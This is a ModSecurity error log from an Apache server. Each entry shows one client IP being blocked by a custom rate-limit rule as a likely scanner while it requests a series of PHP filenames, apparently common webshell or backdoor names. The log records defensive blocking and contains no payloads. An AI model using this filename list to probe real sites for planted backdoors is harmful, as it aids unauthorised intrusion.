[Thu May 07 00:32:21.289306 2026] [:error] [pid 9659:tid 9754] [client 20.104.207.18:27526] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/card.php"] [unique_id "afttFfwJnWjd8JHpBtustQAAANQ"]
[Thu May 07 00:32:21.817316 2026] [:error] [pid 9789:tid 9812] [client 20.104.207.18:27527] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/card.php"] [unique_id "afttFT_YStPJSCHPkUXDsgAAAFU"]
[Thu May 07 00:32:22.267562 2026] [:error] [pid 9789:tid 9796] [client 20.104.207.18:27543] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/card.php"] [unique_id "afttFj_YStPJSCHPkUXDtAAAAEU"]
[Thu May 07 00:32:22.706978 2026] [:error] [pid 9789:tid 9809] [client 20.104.207.18:27697] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/card.php"] [unique_id "afttFj_YStPJSCHPkUXDtwAAAFI"]
[Thu May 07 00:32:23.174348 2026] [:error] [pid 9789:tid 9814] [client 20.104.207.18:27585] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/packsin1.php"] [unique_id "afttFz_YStPJSCHPkUXDuwAAAFc"]
[Thu May 07 00:32:23.614915 2026] [:error] [pid 482:tid 508] [client 20.104.207.18:27576] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/packsin1.php"] [unique_id "afttF8xs8HOc_nWgOW6I-AAAAdY"]
[Thu May 07 00:32:24.056492 2026] [:error] [pid 9664:tid 9771] [client 20.104.207.18:27553] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/packsin1.php"] [unique_id "afttGAH4OZbrg1SjsBNo8AAAAIk"]
[Thu May 07 00:32:24.491291 2026] [:error] [pid 13443:tid 13454] [client 20.104.207.18:27500] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/packsin1.php"] [unique_id "afttGACyfZallDmsQretNgAAAUk"]
[Thu May 07 00:32:24.909641 2026] [:error] [pid 9653:tid 9706] [client 20.104.207.18:27760] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wps.php"] [unique_id "afttGKhJ49Xc4dqq0B5ZEwAAAAg"]
[Thu May 07 00:32:25.325522 2026] [:error] [pid 9653:tid 9716] [client 20.104.207.18:27572] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wps.php"] [unique_id "afttGahJ49Xc4dqq0B5ZFAAAABI"]
[Thu May 07 00:32:25.743795 2026] [:error] [pid 9653:tid 9699] [client 20.104.207.18:27613] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wps.php"] [unique_id "afttGahJ49Xc4dqq0B5ZFwAAAAE"]
[Thu May 07 00:32:26.167780 2026] [:error] [pid 482:tid 489] [client 20.104.207.18:27552] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wps.php"] [unique_id "afttGsxs8HOc_nWgOW6I-wAAAcU"]
[Thu May 07 00:32:26.589327 2026] [:error] [pid 9664:tid 9783] [client 20.104.207.18:27641] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wgift1.php"] [unique_id "afttGgH4OZbrg1SjsBNo9gAAAJU"]
[Thu May 07 00:32:27.004518 2026] [:error] [pid 592:tid 621] [client 20.104.207.18:27578] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wgift1.php"] [unique_id "afttG5iX28mb6xLi2PzBggAAApY"]
[Thu May 07 00:32:27.448531 2026] [:error] [pid 13443:tid 13461] [client 20.104.207.18:27642] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wgift1.php"] [unique_id "afttGwCyfZallDmsQretOAAAAVA"]
[Thu May 07 00:32:27.874347 2026] [:error] [pid 9653:tid 9708] [client 20.104.207.18:27639] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wgift1.php"] [unique_id "afttG6hJ49Xc4dqq0B5ZGQAAAAo"]
[Thu May 07 00:32:28.285274 2026] [:error] [pid 63810:tid 63824] [client 20.104.207.18:27722] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mar.php"] [unique_id "afttHHpnbsN9Zf6i5IFMdwAAAYo"]
[Thu May 07 00:32:28.707749 2026] [:error] [pid 9659:tid 9758] [client 20.104.207.18:27569] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mar.php"] [unique_id "afttHPwJnWjd8JHpBtusuQAAANg"]
[Thu May 07 00:32:29.148386 2026] [:error] [pid 9653:tid 9711] [client 20.104.207.18:27555] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mar.php"] [unique_id "afttHahJ49Xc4dqq0B5ZHQAAAA0"]
[Thu May 07 00:32:29.578277 2026] [:error] [pid 63810:tid 63837] [client 20.104.207.18:27601] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mar.php"] [unique_id "afttHXpnbsN9Zf6i5IFMeQAAAZc"]
[Thu May 07 00:32:29.996299 2026] [:error] [pid 13414:tid 13420] [client 20.104.207.18:27479] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/img.php"] [unique_id "afttHUuJQpWjVpJTu_k1TgAAAQQ"]
[Thu May 07 00:32:30.411950 2026] [:error] [pid 13443:tid 13469] [client 20.104.207.18:27631] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/img.php"] [unique_id "afttHgCyfZallDmsQretOgAAAVg"]
[Thu May 07 00:32:30.880831 2026] [:error] [pid 9789:tid 9807] [client 20.104.207.18:27460] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/img.php"] [unique_id "afttHj_YStPJSCHPkUXDwQAAAFA"]
[Thu May 07 00:32:31.322478 2026] [:error] [pid 13443:tid 13468] [client 20.104.207.18:27690] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/img.php"] [unique_id "afttHwCyfZallDmsQretOwAAAVc"]
[Thu May 07 00:32:31.741266 2026] [:error] [pid 13443:tid 13455] [client 20.104.207.18:27661] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/themes.php"] [unique_id "afttHwCyfZallDmsQretPAAAAUo"]
[Thu May 07 00:32:32.158986 2026] [:error] [pid 9789:tid 9805] [client 20.104.207.18:27646] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/themes.php"] [unique_id "afttID_YStPJSCHPkUXDxgAAAE4"]
[Thu May 07 00:32:32.578102 2026] [:error] [pid 13443:tid 13460] [client 20.104.207.18:27546] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/themes.php"] [unique_id "afttIACyfZallDmsQretPQAAAU8"]
[Thu May 07 00:32:33.011186 2026] [:error] [pid 9789:tid 9810] [client 20.104.207.18:27545] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/themes.php"] [unique_id "afttIT_YStPJSCHPkUXDxwAAAFM"]
[Thu May 07 00:32:33.437108 2026] [:error] [pid 482:tid 490] [client 20.104.207.18:27561] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/acp.php"] [unique_id "afttIcxs8HOc_nWgOW6JAAAAAcY"]
[Thu May 07 00:32:33.855830 2026] [:error] [pid 9664:tid 9780] [client 20.104.207.18:27544] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/acp.php"] [unique_id "afttIQH4OZbrg1SjsBNo-wAAAJI"]
[Thu May 07 00:32:34.281899 2026] [:error] [pid 63810:tid 63822] [client 20.104.207.18:27542] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/acp.php"] [unique_id "afttInpnbsN9Zf6i5IFMfQAAAYg"]
[Thu May 07 00:32:34.699418 2026] [:error] [pid 9659:tid 9753] [client 20.104.207.18:27532] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/acp.php"] [unique_id "afttIvwJnWjd8JHpBtusvQAAANM"]
[Thu May 07 00:32:35.121049 2026] [:error] [pid 13443:tid 13465] [client 20.104.207.18:27670] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/error_log.php"] [unique_id "afttIwCyfZallDmsQretQAAAAVQ"]
[Thu May 07 00:32:35.560063 2026] [:error] [pid 9659:tid 9746] [client 20.104.207.18:27621] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/error_log.php"] [unique_id "afttI_wJnWjd8JHpBtusvwAAAMw"]
[Thu May 07 00:32:35.991390 2026] [:error] [pid 13443:tid 13456] [client 20.104.207.18:27575] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/error_log.php"] [unique_id "afttIwCyfZallDmsQretQgAAAUs"]
[Thu May 07 00:32:36.415313 2026] [:error] [pid 592:tid 612] [client 20.104.207.18:27627] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/error_log.php"] [unique_id "afttJJiX28mb6xLi2PzBiAAAApA"]
[Thu May 07 00:32:36.849046 2026] [:error] [pid 557:tid 583] [client 20.104.207.18:27457] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zdd.php"] [unique_id "afttJDZjFR8Vd8ce80A7qQAAAlg"]
[Thu May 07 00:32:37.277608 2026] [:error] [pid 9664:tid 9779] [client 20.104.207.18:27644] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zdd.php"] [unique_id "afttJQH4OZbrg1SjsBNpAQAAAJE"]
[Thu May 07 00:32:37.710640 2026] [:error] [pid 9664:tid 9770] [client 20.104.207.18:27463] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zdd.php"] [unique_id "afttJQH4OZbrg1SjsBNpBAAAAIg"]
[Thu May 07 00:32:38.131162 2026] [:error] [pid 13443:tid 13448] [client 20.104.207.18:27508] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zdd.php"] [unique_id "afttJgCyfZallDmsQretQwAAAUM"]
[Thu May 07 00:32:38.561166 2026] [:error] [pid 9664:tid 9785] [client 20.104.207.18:27559] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/link.php"] [unique_id "afttJgH4OZbrg1SjsBNpCAAAAJc"]
[Thu May 07 00:32:38.992205 2026] [:error] [pid 9664:tid 9774] [client 20.104.207.18:27743] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/link.php"] [unique_id "afttJgH4OZbrg1SjsBNpCgAAAIw"]
[Thu May 07 00:32:39.421110 2026] [:error] [pid 9664:tid 9780] [client 20.104.207.18:27707] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/link.php"] [unique_id "afttJwH4OZbrg1SjsBNpDQAAAJI"]
[Thu May 07 00:32:39.888524 2026] [:error] [pid 13414:tid 13434] [client 20.104.207.18:27565] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/link.php"] [unique_id "afttJ0uJQpWjVpJTu_k1VwAAARI"]
[Thu May 07 00:32:40.351013 2026] [:error] [pid 9664:tid 9767] [client 20.104.207.18:27488] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sallu.php"] [unique_id "afttKAH4OZbrg1SjsBNpEAAAAIU"]
[Thu May 07 00:32:40.776563 2026] [:error] [pid 9664:tid 9779] [client 20.104.207.18:27688] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sallu.php"] [unique_id "afttKAH4OZbrg1SjsBNpEwAAAJE"]
[Thu May 07 00:32:41.210066 2026] [:error] [pid 9659:tid 9751] [client 20.104.207.18:27579] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sallu.php"] [unique_id "afttKfwJnWjd8JHpBtuswgAAANE"]
[Thu May 07 00:32:41.668081 2026] [:error] [pid 9664:tid 9770] [client 20.104.207.18:27530] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sallu.php"] [unique_id "afttKQH4OZbrg1SjsBNpFgAAAIg"]
[Thu May 07 00:32:42.099617 2026] [:error] [pid 63810:tid 63834] [client 20.104.207.18:27535] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aboute.php"] [unique_id "afttKnpnbsN9Zf6i5IFMggAAAZQ"]
[Thu May 07 00:32:42.512116 2026] [:error] [pid 13414:tid 13436] [client 20.104.207.18:27536] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aboute.php"] [unique_id "afttKkuJQpWjVpJTu_k1XAAAARQ"]
[Thu May 07 00:32:43.064977 2026] [:error] [pid 13414:tid 13418] [client 20.104.207.18:27515] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aboute.php"] [unique_id "afttK0uJQpWjVpJTu_k1XQAAAQI"]
[Thu May 07 00:32:43.501935 2026] [:error] [pid 9789:tid 9808] [client 20.104.207.18:27533] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aboute.php"] [unique_id "afttKz_YStPJSCHPkUXD0AAAAFE"]
[Thu May 07 00:32:43.998999 2026] [:error] [pid 557:tid 565] [client 20.104.207.18:27560] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ayk.php"] [unique_id "afttKzZjFR8Vd8ce80A7rgAAAkY"]
[Thu May 07 00:32:44.485685 2026] [:error] [pid 13414:tid 13439] [client 20.104.207.18:27495] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ayk.php"] [unique_id "afttLEuJQpWjVpJTu_k1YQAAARc"]
[Thu May 07 00:32:44.951296 2026] [:error] [pid 9789:tid 9804] [client 20.104.207.18:27522] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ayk.php"] [unique_id "afttLD_YStPJSCHPkUXD1AAAAE0"]
[Thu May 07 00:32:45.421579 2026] [:error] [pid 482:tid 507] [client 20.104.207.18:27471] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ayk.php"] [unique_id "afttLcxs8HOc_nWgOW6JEwAAAdU"]
[Thu May 07 00:32:45.890248 2026] [:error] [pid 482:tid 489] [client 20.104.207.18:27577] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/one.php"] [unique_id "afttLcxs8HOc_nWgOW6JFwAAAcU"]
